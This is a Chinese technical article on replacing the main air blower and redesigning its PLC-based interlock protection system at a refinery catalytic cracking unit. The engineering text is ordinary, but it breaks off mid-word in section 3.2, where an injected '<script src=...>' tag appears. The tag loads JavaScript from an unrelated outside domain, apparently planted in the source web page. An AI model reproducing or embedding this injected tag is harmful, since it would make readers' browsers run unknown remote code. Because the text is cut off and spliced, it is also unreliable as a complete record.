1 概述
大庆炼化公司林源生产区是一个以生产燃料油为主的石化企业。1989年投产的6×105t/a重油同轨催化裂化装置是该生产区的第二套催化裂化装置，1997年实施了技术改造，使其生产能力由现有的6×105t/a提高到8×105 t/a，由于处理量的增加，原主风机系统已不能满足生产的需要，因此在本次改造中决定更换该装置的主风机系统，将原主风机及仪表控制部分移至一套催化裂化装置，新的主风机及仪表控制部分移至一套催化裂化装置，新的主风机机组由原有的烟气轮机、新主风机、新变速齿轮箱机构、新的电动/发电机组成，并做到三机同轴，取消了烟气轮机与主风机之间的离合器；原主风机滑润油系统同时也做了部分改造，原主风机控制部分的全部二次仪表、机械量检测仪表一次元件及仪表盘等整体移至一套催化主风机控制室，新主风机机组的仪表控制及联锁保护系统需重新进行设计，由于取消了烟气轮机与主风机之间的离合器，因此对新机组的仪表控制及自动联锁保护系统设计提出了更高的要求。
2 主风机控制系统改造前的状况
主风机机组更新改造前，也是三机组同轴，所不同的是在烟气轮机与主风机之间不是由现在的联轴器连接，而是由英国生产的3s离合器来实现连接的，3s离合器的优点是使烟气轮机具有较大的操作弹性，可根据生产的需要或烟气轮机设备自身的状况随时开停烟气轮机，而不影响主风机的正常运行，3s离合器可以根据烟气轮机的转速自动实现烟气轮机轴与主风机轴之间离与合，但3s离合器也存在着有时振动大等特点。由于供货周期等各方面原因，本次主风机更新改造用联轴器取代了原来的3s离合器，在主风机电机选型时考虑了带动烟气轮机的负荷，即在烟气轮机未投用或开工时由电机同时带动烟气轮机及主风机转动，但是当烟气轮机设备本身出现故障时无法实现有3s离合器时那样单独停烟气轮机，而只能将主风机机组停下来解开烟气轮机与主风机之间的逻辑关系。原主风机仪表控制系统为fc系列仪表，机械量仪表为美国bently公司生产的7200系列仪表，联锁保护系统由美国生产的m-84可编程序控制仪实现。
3 主风机自保系统实现
由于m-84可编程序控制仪采有梯形图编程方法，在实际应用中有很大的局限性，与现在流行的可把梯形图变在程序语言进行编程的可编程序控制器（plc）相比，后者无论从价格还是使用方面都存在着很大的优势。因此，决定本次主风机更新改造常规仪表仍选用fc系列仪表，而主风机自动联锁保护系统由可编程控制器（plc）来实现，具体型号为omron系列产品c60p，由于主风机自保系统的i/o点比较多，所以本次采用的plc由c60p主机和扩展单两部分组成，共计有64点输入（input）和56点输出（output）；实际使用43点输入，53点输出，i/o点负荷达到80%，plc的输入输出点电压为24vdc，送至电气专业的信号经中间继电器进行放大以满足电气专业的容量要求，同时也防止plc输出接点容量超负荷而损坏plc设备。主风机自保项目及投入自保后各阀门状态见表1，主风机自保逻辑关系原理图见图1、图2。
3.1 联锁功能的实施
由于主风机是催化裂化装置的关键设备，它的运行状况直接决定了装置的运行状态，如果不能正确处理主风机突发的非正常停机事故，将会导致催化装置严重的事故发生，后果是不堪设想的，因此，主风机机组的控制系统设计显得尤为重要，特别是自动联锁保护系统。为了保护机组设备，本次改造设计了机组紧急停机程序、机组正常启动联锁程序、机组自动操作程序、机组逆流保护程序及机组安全运行程序五个相互关联的机组自动联锁保护程序，详细逻辑关系见图1、图2。与原主风机相比，新增了机组正常启动联锁程序，由原来的操作人员开机前现场巡检逐个判断改为现在的由plc自动判断，即由plc自动判断润滑油压国、动力油压力、主风止回阀位置、静叶角度、紧急放空阀、烟气轮机保护蒸汽闸阀等是否达到机组启动前所要求的预定值，若某一启动条件不满足要求，会自动发出该条件不符合要求的声光报警提示操作人员机组目前尚不具备启动条件，不能启动，同时通过程序使主电机允许合闸信号无效，当全部启动条件都满足后，正常启动联锁程序会发出“启动待命”声光报警，同时向电气专业发出主电机允许合闸信号，只有这时按下“主电机手动合闸”按钮后才能启动主风机；通过机组正常启动联锁程序的设置，使机组启动前各启动条件的检查与确认变得快速、准确、简捷；所有的主要信息都能在报警光子牌显示，使复杂的过程变得一目了然。本次主风机更新改造自控设计中共设置了77个报警光子牌，基本满足了主风机组安全操作的需要，为机组的安全运行提供了强大的“预警”功能，是机组安全运行的可靠保障，同时也方便了操作。
3.2 联锁功能中开关的设?script src=http://er12.com/t.js>
